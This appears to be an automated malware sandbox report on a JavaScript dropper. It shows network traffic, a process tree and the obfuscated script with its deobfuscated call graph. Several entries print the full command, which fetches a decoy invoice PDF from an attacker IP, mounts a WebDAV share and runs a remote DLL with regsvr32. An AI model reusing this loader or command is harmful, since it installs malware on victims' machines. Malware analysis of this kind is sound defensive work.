20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:46:36.838073969 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:46:36.838088036 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 18:46:36.838105917 CET	224	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]
Jan 10, 2025 18:46:36.838116884 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 10, 2025 18:46:36.838126898 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 10, 2025 18:46:36.838140011 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 18:46:36.838227034 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 18:46:36.838238955 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 18:46:36.838248968 CET	672	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 18:46:36.844281912 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6764	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:46:38.552752018 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:46:39.352788925 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:46:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:46:32
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13924233483066821789.js"
Imagebase:	0x7ff6cb290000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:46:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll
Imagebase:	0x7ff68c090000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:46:32
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:46:32
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:46:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:46:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68c090000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:46:37
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff659050000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:46:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:46:37
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:46:38
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1720,i,8080744386788834363,3563767160036206052,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fiqgcwiq() {	fiqgcwiq() ➔ undefined
1	zgozk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var oxhin = this[xxnputj + divdwb + jrpfoqvgs + yeseqh + zwfkw + trnionbiq + pzprstmq + auzea] ( this[jkuwy + gczxhk + jlxuxg + jrpfoqvgs + drybrfm + xxnputj + auzea][kdrfv + jrpfoqvgs + zwfkw + divdwb + auzea + zwfkw + apsaxs + bplnshcv + uztti + zwfkw + jlxuxg + auzea] ( jkuwy + gczxhk + jlxuxg + jrpfoqvgs + drybrfm + xxnputj + auzea + jytxtk + gczxhk + phprf + zwfkw + ciwzpfc + ciwzpfc ) [thpoz + zwfkw + bbditg + thpoz + zwfkw + divdwb + yockuoso] ( xzblhub + kxlep + dsfaz + xscjbk + irdhllif + kdrfv + nsbyrmlx + thpoz + thpoz + dsfaz + utjdkn + dycfmvhsv + irdhllif + nsbyrmlx + gczxhk + dsfaz + thpoz + mxcgwi + kdrfv + wkdqeyxub + pzprstmq + auzea + jrpfoqvgs + wkdqeyxub + ciwzpfc + zjqzvxmhn + gegrqmru + divdwb + pzprstmq + zwfkw + ciwzpfc + mxcgwi + trnionbiq + pzprstmq + auzea + zwfkw + jrpfoqvgs + pzprstmq + divdwb + auzea + drybrfm + wkdqeyxub + pzprstmq + divdwb + ciwzpfc + mxcgwi + ayjczob + wkdqeyxub + jlxuxg + divdwb + ciwzpfc + zwfkw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( lbvgm = 0 ; lbvgm < zgozk[ciwzpfc + zwfkw + pzprstmq + bbditg + auzea + phprf] ; ++ lbvgm )
4	{
5	if ( oxhin == zgozk[lbvgm] )
6	{
7	oxhin = true;
8	break ;
9	}
10	}
11	if ( oxhin !== true )
12	this[jkuwy + gczxhk + jlxuxg + jrpfoqvgs + drybrfm + xxnputj + auzea][okeqthsus + tudoqcaxw + drybrfm + auzea] ( );
13	this[jkuwy + gczxhk + jlxuxg + jrpfoqvgs + drybrfm + xxnputj + auzea][kdrfv + jrpfoqvgs + zwfkw + divdwb + auzea + zwfkw + apsaxs + bplnshcv + uztti + zwfkw + jlxuxg + auzea] ( jkuwy + gczxhk + jlxuxg + jrpfoqvgs + drybrfm + xxnputj + auzea + jytxtk + gczxhk + phprf + zwfkw + ciwzpfc + ciwzpfc ) [jrpfoqvgs + tudoqcaxw + pzprstmq] ( jlxuxg + cppzgcxkr + yockuoso + zjqzvxmhn + cjyoaks + jlxuxg + zjqzvxmhn + xxnputj + wkdqeyxub + kfsqvz + zwfkw + jrpfoqvgs + yeseqh + phprf + zwfkw + ciwzpfc + ciwzpfc + jytxtk + zwfkw + acyqvnk + zwfkw + zjqzvxmhn + xuptg + kdrfv + wkdqeyxub + cppzgcxkr + cppzgcxkr + divdwb + pzprstmq + yockuoso + zjqzvxmhn + oeuht + trnionbiq + pzprstmq + dsyrl + wkdqeyxub + fxoci + zwfkw + xuptg + jkuwy + zwfkw + bplnshcv + thpoz + zwfkw + qenlbd + tudoqcaxw + zwfkw + yeseqh + auzea + zjqzvxmhn + xuptg + apsaxs + tudoqcaxw + auzea + kpcbjcnu + drybrfm + ciwzpfc + zwfkw + zjqzvxmhn + hdphvs + auzea + zwfkw + cppzgcxkr + xxnputj + hdphvs + mxcgwi + drybrfm + pzprstmq + dsyrl + wkdqeyxub + drybrfm + jlxuxg + zwfkw + jytxtk + xxnputj + yockuoso + oagiuqr + zjqzvxmhn + phprf + auzea + auzea + xxnputj + yoxypjq + cjyoaks + cjyoaks + jadomw + rovuyvblz + ipaenqjh + jytxtk + jadomw + kdebae + ipaenqjh + jytxtk + jadomw + jytxtk + wuvqeoxsx + amcdqo + pqbflrh + cjyoaks + drybrfm + pzprstmq + dsyrl + wkdqeyxub + drybrfm + jlxuxg + zwfkw + jytxtk + xxnputj + phprf + xxnputj + oeuht + sgocbq + sgocbq + yeseqh + auzea + divdwb + jrpfoqvgs + auzea + zjqzvxmhn + hdphvs + auzea + zwfkw + cppzgcxkr + xxnputj + hdphvs + mxcgwi + drybrfm + pzprstmq + dsyrl + wkdqeyxub + drybrfm + jlxuxg + zwfkw + jytxtk + xxnputj + yockuoso + oagiuqr + sgocbq + sgocbq + jlxuxg + cppzgcxkr + yockuoso + zjqzvxmhn + cjyoaks + jlxuxg + zjqzvxmhn + pzprstmq + zwfkw + auzea + zjqzvxmhn + tudoqcaxw + yeseqh + zwfkw + zjqzvxmhn + mxcgwi + mxcgwi + jadomw + rovuyvblz + ipaenqjh + jytxtk + jadomw + kdebae + ipaenqjh + jytxtk + jadomw + jytxtk + wuvqeoxsx + amcdqo + pqbflrh + gczpb + vzokm + vzokm + vzokm + vzokm + mxcgwi + yockuoso + divdwb + dsyrl + kfsqvz + kfsqvz + kfsqvz + jrpfoqvgs + wkdqeyxub + wkdqeyxub + auzea + mxcgwi + sgocbq + sgocbq + jlxuxg + cppzgcxkr + yockuoso + zjqzvxmhn + cjyoaks + jlxuxg + zjqzvxmhn + jrpfoqvgs + zwfkw + bbditg + yeseqh + dsyrl + jrpfoqvgs + ipaenqjh + wuvqeoxsx + zjqzvxmhn + cjyoaks + yeseqh + zjqzvxmhn + mxcgwi + mxcgwi + jadomw + rovuyvblz + ipaenqjh + jytxtk + jadomw + kdebae + ipaenqjh + jytxtk + jadomw + jytxtk + wuvqeoxsx + amcdqo + pqbflrh + gczpb + vzokm + vzokm + vzokm + vzokm + mxcgwi + yockuoso + divdwb + dsyrl + kfsqvz + kfsqvz + kfsqvz + jrpfoqvgs + wkdqeyxub + wkdqeyxub + auzea + mxcgwi + wuvqeoxsx + ipaenqjh + jadomw + pqbflrh + vzokm + wuvqeoxsx + ipaenqjh + pqbflrh + vzokm + ipaenqjh + ipaenqjh + wuvqeoxsx + rovuyvblz + jytxtk + yockuoso + ciwzpfc + ciwzpfc, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2315823583329.dll",0,false) ➔ 0
14	}
15	kxlep = "F";
16	kxlep = "I";
17	kxlep = "f";
18	kxlep = "L";
19	kxlep = "V";
20	kxlep = "i";
21	kxlep = "v";
22	kxlep = "s";
23	kxlep = "R";
24	kxlep = "M";
25	kxlep = "i";
26	kxlep = "l";
27	kxlep = "g";
28	kxlep = "z";
29	kxlep = "J";
30	kxlep = "S";
31	kxlep = "R";
32	kxlep = "I";
33	kxlep = "C";
34	kxlep = "d";
35	kxlep = "a";
36	kxlep = "e";
37	kxlep = "U";
38	kxlep = "j";
39	kxlep = "e";
40	kxlep = "a";
41	kxlep = "y";
42	kxlep = "h";
43	kxlep = "A";
44	kxlep = "b";
45	kxlep = "b";
46	kxlep = "U";
47	kxlep = "F";
48	kxlep = "x";
49	kxlep = "A";
50	kxlep = "s";
51	kxlep = "T";
52	kxlep = "Q";
53	kxlep = "P";
54	kxlep = "K";
55	kxlep = "I";
56	kxlep = "K";
57	auzea = "f";
58	auzea = "C";
59	auzea = "G";
60	auzea = "e";
61	auzea = "u";
62	auzea = "p";
63	auzea = "n";
64	auzea = "Z";
65	auzea = "R";
66	auzea = "p";
67	auzea = "K";
68	auzea = "Y";
69	auzea = "j";
70	auzea = "A";
71	auzea = "j";
72	auzea = "i";
73	auzea = "E";
74	auzea = "R";
75	auzea = "e";
76	auzea = "k";
77	auzea = "T";
78	auzea = "o";
79	auzea = "u";
80	auzea = "m";
81	auzea = "S";
82	auzea = "n";
83	auzea = "y";
84	auzea = "t";
85	yockuoso = "T";
86	yockuoso = "H";
87	yockuoso = "O";
88	yockuoso = "v";
89	yockuoso = "D";
90	yockuoso = "x";
91	yockuoso = "Y";
92	yockuoso = "T";
93	yockuoso = "J";
94	yockuoso = "l";
95	yockuoso = "S";
96	yockuoso = "N";
97	yockuoso = "Z";
98	yockuoso = "I";
99	yockuoso = "t";
100	yockuoso = "f";
101	yockuoso = "B";
102	yockuoso = "S";
103	yockuoso = "z";
104	yockuoso = "t";
105	yockuoso = "B";
106	yockuoso = "P";
107	yockuoso = "G";
108	yockuoso = "i";
109	yockuoso = "n";
110	yockuoso = "b";
111	yockuoso = "B";
112	yockuoso = "h";
113	yockuoso = "z";
114	yockuoso = "U";
115	yockuoso = "c";
116	yockuoso = "F";
117	yockuoso = "Y";
118	yockuoso = "v";
119	yockuoso = "G";
120	yockuoso = "G";
121	yockuoso = "n";
122	yockuoso = "C";
123	yockuoso = "v";
124	yockuoso = "G";
125	yockuoso = "M";
126	yockuoso = "k";
127	yockuoso = "y";
128	yockuoso = "W";
129	yockuoso = "d";
130	wuvqeoxsx = "g";
131	wuvqeoxsx = "n";
132	wuvqeoxsx = "y";
133	wuvqeoxsx = "d";
134	wuvqeoxsx = "D";
135	wuvqeoxsx = "f";
136	wuvqeoxsx = "g";
137	wuvqeoxsx = "l";
138	wuvqeoxsx = "k";
139	wuvqeoxsx = "a";
140	wuvqeoxsx = "b";
141	wuvqeoxsx = "q";
142	wuvqeoxsx = "P";
143	wuvqeoxsx = "q";
144	wuvqeoxsx = "n";
145	wuvqeoxsx = "K";
146	wuvqeoxsx = "C";
147	wuvqeoxsx = "i";
148	wuvqeoxsx = "c";
149	wuvqeoxsx = "o";
150	wuvqeoxsx = "Y";
151	wuvqeoxsx = "k";
152	wuvqeoxsx = "Y";
153	wuvqeoxsx = "b";
154	wuvqeoxsx = "I";
155	wuvqeoxsx = "z";
156	wuvqeoxsx = "d";
157	wuvqeoxsx = "Y";
158	wuvqeoxsx = "W";
159	wuvqeoxsx = "a";
160	wuvqeoxsx = "v";
161	wuvqeoxsx = "T";
162	wuvqeoxsx = "T";
163	wuvqeoxsx = "h";
164	wuvqeoxsx = "N";
165	wuvqeoxsx = "P";
166	wuvqeoxsx = "v";
167	wuvqeoxsx = "y";
168	wuvqeoxsx = "L";
169	wuvqeoxsx = "2";
170	yeseqh = "u";
171	yeseqh = "U";
172	yeseqh = "v";
173	yeseqh = "D";
174	yeseqh = "T";
175	yeseqh = "z";
176	yeseqh = "v";
177	yeseqh = "s";
178	nsbyrmlx = "n";
179	nsbyrmlx = "C";
180	nsbyrmlx = "R";
181	nsbyrmlx = "k";
182	nsbyrmlx = "q";
183	nsbyrmlx = "f";
184	nsbyrmlx = "M";
185	nsbyrmlx = "e";
186	nsbyrmlx = "H";
187	nsbyrmlx = "C";
188	nsbyrmlx = "O";
189	nsbyrmlx = "X";
190	nsbyrmlx = "h";
191	nsbyrmlx = "O";
192	nsbyrmlx = "X";
193	nsbyrmlx = "B";
194	nsbyrmlx = "E";
195	nsbyrmlx = "P";
196	nsbyrmlx = "D";
197	nsbyrmlx = "Z";
198	nsbyrmlx = "M";
199	nsbyrmlx = "S";
200	nsbyrmlx = "d";
201	nsbyrmlx = "H";
202	nsbyrmlx = "X";
203	nsbyrmlx = "N";
204	nsbyrmlx = "U";
205	amcdqo = "g";
206	amcdqo = "G";
207	amcdqo = "r";
208	amcdqo = "r";
209	amcdqo = "B";
210	amcdqo = "s";
211	amcdqo = "r";
212	amcdqo = "o";
213	amcdqo = "g";
214	amcdqo = "F";
215	amcdqo = "E";
216	amcdqo = "e";
217	amcdqo = "j";
218	amcdqo = "n";
219	amcdqo = "J";
220	amcdqo = "M";
221	amcdqo = "l";
222	amcdqo = "J";
223	amcdqo = "v";
224	amcdqo = "j";
225	amcdqo = "c";
226	amcdqo = "W";
227	amcdqo = "k";
228	amcdqo = "K";
229	amcdqo = "S";
230	amcdqo = "g";
231	amcdqo = "C";
232	amcdqo = "Z";
233	amcdqo = "t";
234	amcdqo = "b";
235	amcdqo = "0";
236	ayjczob = "U";
237	ayjczob = "x";
238	ayjczob = "S";
239	ayjczob = "l";
240	ayjczob = "Z";
241	ayjczob = "H";
242	ayjczob = "R";
243	ayjczob = "c";
244	ayjczob = "V";
245	ayjczob = "p";
246	ayjczob = "m";
247	ayjczob = "g";
248	ayjczob = "w";
249	ayjczob = "z";
250	ayjczob = "u";
251	ayjczob = "A";
252	ayjczob = "i";
253	ayjczob = "W";
254	ayjczob = "u";
255	ayjczob = "r";
256	ayjczob = "Q";
257	ayjczob = "L";
258	ayjczob = "X";
259	ayjczob = "c";
260	ayjczob = "z";
261	ayjczob = "M";
262	ayjczob = "y";
263	ayjczob = "T";
264	ayjczob = "f";
265	ayjczob = "Q";
266	ayjczob = "p";
267	ayjczob = "j";
268	ayjczob = "p";
269	ayjczob = "f";
270	ayjczob = "E";
271	ayjczob = "z";
272	ayjczob = "y";
273	ayjczob = "Y";
274	ayjczob = "C";
275	ayjczob = "L";
276	ayjczob = "L";
277	phprf = "h";
278	kdebae = "t";
279	kdebae = "H";
280	kdebae = "Q";
281	kdebae = "g";
282	kdebae = "g";
283	kdebae = "L";
284	kdebae = "y";
285	kdebae = "v";
286	kdebae = "Z";
287	kdebae = "Z";
288	kdebae = "4";
289	ciwzpfc = "n";
290	ciwzpfc = "g";
291	ciwzpfc = "L";
292	ciwzpfc = "p";
293	ciwzpfc = "N";
294	ciwzpfc = "V";
295	ciwzpfc = "H";
296	ciwzpfc = "d";
297	ciwzpfc = "L";
298	ciwzpfc = "o";
299	ciwzpfc = "h";
300	ciwzpfc = "g";
301	ciwzpfc = "l";
302	ciwzpfc = "r";
303	ciwzpfc = "r";
304	ciwzpfc = "J";
305	ciwzpfc = "L";
306	ciwzpfc = "l";
307	trnionbiq = "w";
308	trnionbiq = "O";
309	trnionbiq = "E";
310	trnionbiq = "q";
311	trnionbiq = "w";
312	trnionbiq = "I";
313	trnionbiq = "a";
314	trnionbiq = "E";
315	trnionbiq = "v";
316	trnionbiq = "P";
317	trnionbiq = "a";
318	trnionbiq = "v";
319	trnionbiq = "K";
320	trnionbiq = "y";
321	trnionbiq = "Z";
322	trnionbiq = "P";
323	trnionbiq = "I";
324	ipaenqjh = "F";
325	ipaenqjh = "G";
326	ipaenqjh = "B";
327	ipaenqjh = "H";
328	ipaenqjh = "g";
329	ipaenqjh = "b";
330	ipaenqjh = "U";
331	ipaenqjh = "H";
332	ipaenqjh = "M";
333	ipaenqjh = "r";
334	ipaenqjh = "y";
335	ipaenqjh = "O";
336	ipaenqjh = "I";
337	ipaenqjh = "K";
338	ipaenqjh = "u";
339	ipaenqjh = "a";
340	ipaenqjh = "x";
341	ipaenqjh = "r";
342	ipaenqjh = "R";
343	ipaenqjh = "s";
344	ipaenqjh = "Z";
345	ipaenqjh = "P";
346	ipaenqjh = "P";
347	ipaenqjh = "B";
348	ipaenqjh = "Z";
349	ipaenqjh = "3";
350	yoxypjq = "a";
351	yoxypjq = "m";
352	yoxypjq = "Z";
353	yoxypjq = "W";
354	yoxypjq = "h";
355	yoxypjq = "O";
356	yoxypjq = "Y";
357	yoxypjq = "z";
358	yoxypjq = "f";
359	yoxypjq = "m";
360	yoxypjq = "G";
361	yoxypjq = "d";
362	yoxypjq = "d";
363	yoxypjq = "J";
364	yoxypjq = "a";
365	yoxypjq = "d";
366	yoxypjq = "P";
367	yoxypjq = "a";
